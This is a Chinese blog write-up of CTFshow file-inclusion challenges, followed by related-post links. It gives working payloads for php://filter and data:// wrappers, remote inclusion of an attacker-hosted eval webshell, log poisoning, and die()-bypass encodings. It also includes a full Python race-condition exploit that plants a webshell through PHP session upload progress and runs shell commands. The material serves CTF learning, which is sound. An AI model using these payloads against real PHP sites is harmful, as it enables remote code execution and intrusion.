CTFSHOW web入门 文件包含篇

ctfshow-web80 自用 阅读详情

web78

filter伪协议
payload
file=php://filter/convert.base64-encode/resource=flag.php
解码后得到flag

web79

data伪协议
payload

file=data://text/plain,<?=`tac f*`;?>

web80

远程文件包含
xxx为自己服务器地址
?file=http://xxxx/shell.txt
shell.txt中内容
<?php eval($_POST[1]);?>

web81

日志包含
首先在UA头里面写入一句话
在这里插入图片描述
接着包含日志文件并利用一句话
在这里插入图片描述

web82-86

参考链接
https://www.freebuf.com/vuls/202819.html
exp

import requests
import threading
import sys
session=requests.session()
sess='yu22x'
url1="http://05b536c9-c839-4df4-80a9-ddbc1ddeb979.challenge.ctf.show:8080/"
url2='http://05b536c9-c839-4df4-80a9-ddbc1ddeb979.challenge.ctf.show:8080?file=/tmp/sess_'+sess
data1={
	'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
}
data2={
	'1':'system("cat f*");'
}
file={
	'file':'abc'
}
cookies={
	'PHPSESSID': sess
}
def write():
	while True:
		r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
	while True:
		r = session.post(url2,data=data2)
		if 'ctfshow{' in r.text:
			print(r.text)
threads = [threading.Thread(target=write),
       threading.Thread(target=read)]
for t in threads:
	t.start()

web87

绕过死亡die
文件名可以通过两次url全编码绕过。
因为前面有die,所以我们后面直接写php内容会起不到作用。
1、base64编码绕过

payload

GET
file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2561%252e%2570%2568%2570
// file=php://filter/write=convert.base64-decode/resource=a.php
POST
content=11PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==
其中PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==是"<?php eval($_POST[1]);"的base64编码。前面的11是为了填充"<?php die('大佬别秀了');?>"
base64 4位4位解码,其中"<?php die('大佬别秀了');?>"解码的内容其实只有phpdie,所以需要再填充两位。
//content=<?php eval($_POST[1]);

2、rot13编码绕过
payload

GET
file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2562%252e%2570%2568%2570
//file=php://filter/read=string.rot13/resource=b.php
POST
content=<?cuc riny($_CBFG[1]);
//content=<?php eval($_POST[1]);

web88

data伪协议base64编码绕过
payload

?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOw
PD9waHAgZXZhbCgkX1BPU1RbMV0pOw是<?php eval($_POST[1]); base64编码

web116

下载下来视频,然后用010editor可以看到里面有一张图片,提取出来发现源码。
是一个文件包含。
如下图所示
在这里插入图片描述
过滤了很多协议和编码方式,但其实都是摆设,因为用的是file_get_contents所以,直接 输入file=flag.php就可以过了。
payload:file=flag.php

web117

function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

考察点:绕过死亡die
题目中过滤了很多协议和编码方式,但是除了我们常用的base64和rot13还是有很多方法可以绕过die的
更多编码方式
这是取一个 UCS-2LE UCS-2BE

payload:
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[T]1;)>?

这种是将字符两位两位进行交换
大家可以自行测试如下代码

echo iconv("UCS-2LE","UCS-2BE",'<?php die();?>?<hp pvela$(P_SO[T]1;)>?');

输出如下,使得die失效,并且我们的一句话木马可以使用
?<hp pid(e;)>?<?php eval($_POST[1]);?>
CTFshow 文件包含 web80 目录源码思路题解总结 源码 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 11:26:29 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['file'])){ 阅读详情

相关推荐

ctfshow-web入门-文件包含(web82-web86)条件竞争实现session会话文件包含

file_get_contents 函数将会读取文件的全部内容并将其作为字符串返回,strpos($content, “

web13093320398的博客 1523

CTFshow web入门——文件包含

Web 78 <?php if(isset($_GET['file'])){ $file = $_GET['file']; include($file); }else{ highlight_file(__FILE__); } 一.分析代码: 使用 include进行了文件包含 二.解题过程: 构造playload: ?file=php://filter/read=convert.base64-encode/resource=flag.php Web 79 <?p

小元砸的博客 4537

ctfshow-WEB入门-Part5-wp

ctfshow-WEB入门-Part5-wp

F1rstb100d 1427

文件包含漏洞详解与ctfshow文件包含漏洞模块的练习

​ 服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。

RealIiikun的博客 658

CTFSHOW-Web入门-文件包含(web78-web88,web116,web117)

命令执行完了,另一个线程没有执行删除命令但已写入sess_PHPSESSID文件,这样第一个线程文件包含时session文件仍然存在。所以我们需要通过条件竞争,在服务器还未将此文件删除的时候成功文件包含此文件,从而执行我们的恶意代码。此题虽然对php:进行了过滤,但是在file_put_contents的时候对$file进行了url解码,而在我们传入参数后本身就会自动解码一次。所以我们可以通过先url全编码一次,再url编码一次便能使用php://伪协议了。这一次它对file进行了过滤,过滤了php。

JL20050725的博客 1524

ctfshow WEB入门 文件上传151-170_ctfshow web入门文件包含167

只是过滤了分号,其他同上。php的最后一个分号可以省略。

2401_88972148的博客 1292

【CTF】ctfshow——web

ctfshow之web通关web签到题(so easy)web2:SQL注入漏洞(联合查询)web3:文件包含漏洞web4:文件包含漏洞(日志注入)web5:md5绕过web6:SQL注入漏洞(空格被过滤)web7:SQL注入漏洞(盲注&sqlmap)布尔盲注sqlmapweb8:SQL注入漏洞(布尔盲注)web9:robots.txt + SQL注入 + md5web10web11:web12 web签到题(so easy) base64解码点这里 F12,看到有一串字符串,base64解码

m0_52923241的博客 5057

[ctfshow web入门] web32 使用文件包含绕过

本文探讨了绕过PHP过滤限制的多种方法,主要围绕协议利用和信息收集展开。 方法1通过协议实现: 1.1 使用data://协议直接执行系统命令 1.2 通过php://input读取POST数据执行 1.3 使用php://filter以base64或编码转换方式读取文件 方法2利用日志文件: 通过修改User-Agent将恶意代码写入日志,再用include包含日志文件执行代码,最后使用蚁剑连接获取flag。 关键绕过技巧包括: 使用%0a代替空格 利用include无需括号的特性 通过$_GET参数中转

qq_50332504的博客 1162

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 全

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 全

Jay17的博客 7117

[ctfshow]web入门——文件上传(web156-web163)

[ctfshow]web入门——文件上传 web156 上传.user.ini web157 web158 web159 web160 上传.user.ini+日志包含 web161 web162 way1:远程文件包含 way2:session条件竞争包含 web163 上传口 试了试upload界面有一个默认文件,可以用上传.user.ini的方法 后台应该是屏蔽了很多字符串(php

ShenZ的博客 6316

ctfshow-web入门-文件包含(web78、web79、web80、web81)

中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。此外我们也可以使用 data:// 协议进行代码执行,其实和 php://input 是一样的,让用户可以控制输入流,当它与文件包含函数结合时,用户输入的 data:// 流就会被当作 php 文件执行。的 base64 编码,也可以实现绕过。

m0_67403143的博客 1026

Ctfshow web入门 PHP特性篇 web89-web151 全

Ctfshow web入门 PHP特性篇 web89-web151 全 web入门 PHP特性篇的wp都一把梭哈在这里啦~ 有点多,师傅们可以收藏下来慢慢看,写的应该挺全面的叭..... 有错误敬请斧正!

Jay17的博客 2981

ctfshow web系列

介绍ctfshow中web系列

hanjinming110的博客 2339

ctfshow web入门 sql注入

sql注入分为多种类型的注入,我将对ctfshow web入门的sql入门进行题目分类,并在最后对每种sql注入做一下总结;

weixin_74427106的博客 4513

[CTFSHOW][WEB入门]nodejs部分WP

文章目录前言web334web335web336方法一方法二方法三web337 前言 nodejs从入门到挖坟,今天早上刚刚学了一点,成功了,比较开心 web334 下载源码下来在user.js里面发现了用户名和密码,群主比较坑哈,搞了个大写,明明是小写,ctfshow与密码我忘了压缩包懒得下 web335 一道Node.JS的RCE 之后cat fl00g.txt即可 web336 方法一 先用上一题paylaod 尝试绕过姿势,也不行 那么试一下读取下文件呢,看看过滤了啥,通过全局变量读取当前目

Y4tacker的博客 4290

CTFSHOW-web入门-sql注入(web214-web220)时间盲注篇

但是在调试脚本的时候我发现,这个时间区间的范围非常有讲究。可以将 # print(sub_time)解开注释自行分析,我发现一个很神奇的地方就是,如果输出了正确的字符在我这里时间延迟大概是0.9s多,但是如果我的时间上限设置的比较大就经常性的会匹配到错误的字符(一般时间延迟是1.05-1.10s),具体原因我并不知道但是0.9s-1.05s以内匹配到的基本都是正确的字符。这个脚本我优化的还是不好,偶尔还是会有错误的输出,并且最后会将最后一个字符重复输出,我也不知道咋优化了,我的解决办法就是多跑两遍。

JL20050725的博客 2075

【CTFSHOW】web入门命令执行

文章目录写在前面web43web44web45web46web47web48web49web50web51web52web53web53 写在前面 命令执行之前做了一部分,又搁了好久。今天继续补补。 web43 if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat/i", $c)){ system($c." >/dev/null 2>&1"); } payload: ?c=nl

7ruth0hn的博客 1695

电子设计实战:用MOS管手把手搭建D触发器电路(含时序分析避坑指南)

本文详细介绍了如何使用MOS管从零开始搭建D触发器电路,重点解析了建立时间和保持时间等关键时序参数对电路稳定性的影响。通过实测波形分析和避坑指南,帮助电子工程师掌握D触发器的实际搭建技巧与优化方法,提升数字电路设计的可靠性。

x1y2z的博客 1159

ctfshow-web入门-文件包含(web88、web116、web117)

没有过滤冒号 : ,可以使用 data 协议,但是过滤了括号和等号,因此需要编码绕过一下。这里有点问题,我 ('ls') 后加上分号发现不行,可能是编码结果有加号,题目做了过滤去掉分号得到 PD9waHAgc3lzdGVtKCdscycpPz4=,传入时要把等号去掉,因为题目过滤掉了等号,否则会触发 die 函数,即使去掉等号,base64 解码也是

Welcome To My6n Blog 2754

三维点云孔洞修复(附Python代码和公共点云数据集链接)

(1)物体自身缺失(2)物体自身形状复杂,很多凹凸面不够规则甚至存在空腔,空腔内部无法被三维激光扫描仪扫描到(3)物体部分区域对激光扫描不敏感,未被扫描上(4)扫描仪的扫描稳定性。

yanghl1215的博客 6951

Windows下快速搭建MSYS2开发环境(含GCC与MinGW配置)

本文详细介绍了在Windows系统下快速搭建MSYS2开发环境的完整流程。通过使用pacman包管理器,可以便捷地安装GCC编译器与MinGW-w64工具链,并配置系统环境变量。文章还涵盖了从基础安装、系统更新到编译开源项目的实战指南,帮助开发者高效构建原生Windows程序,显著提升C/C++开发效率。

weixin_29213827的博客 538
上一篇: 2021虎符杯web(部分)
下一篇: ctfshow 大牛杯web
yu22x
博客等级 码龄7年 3738粉丝 121原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值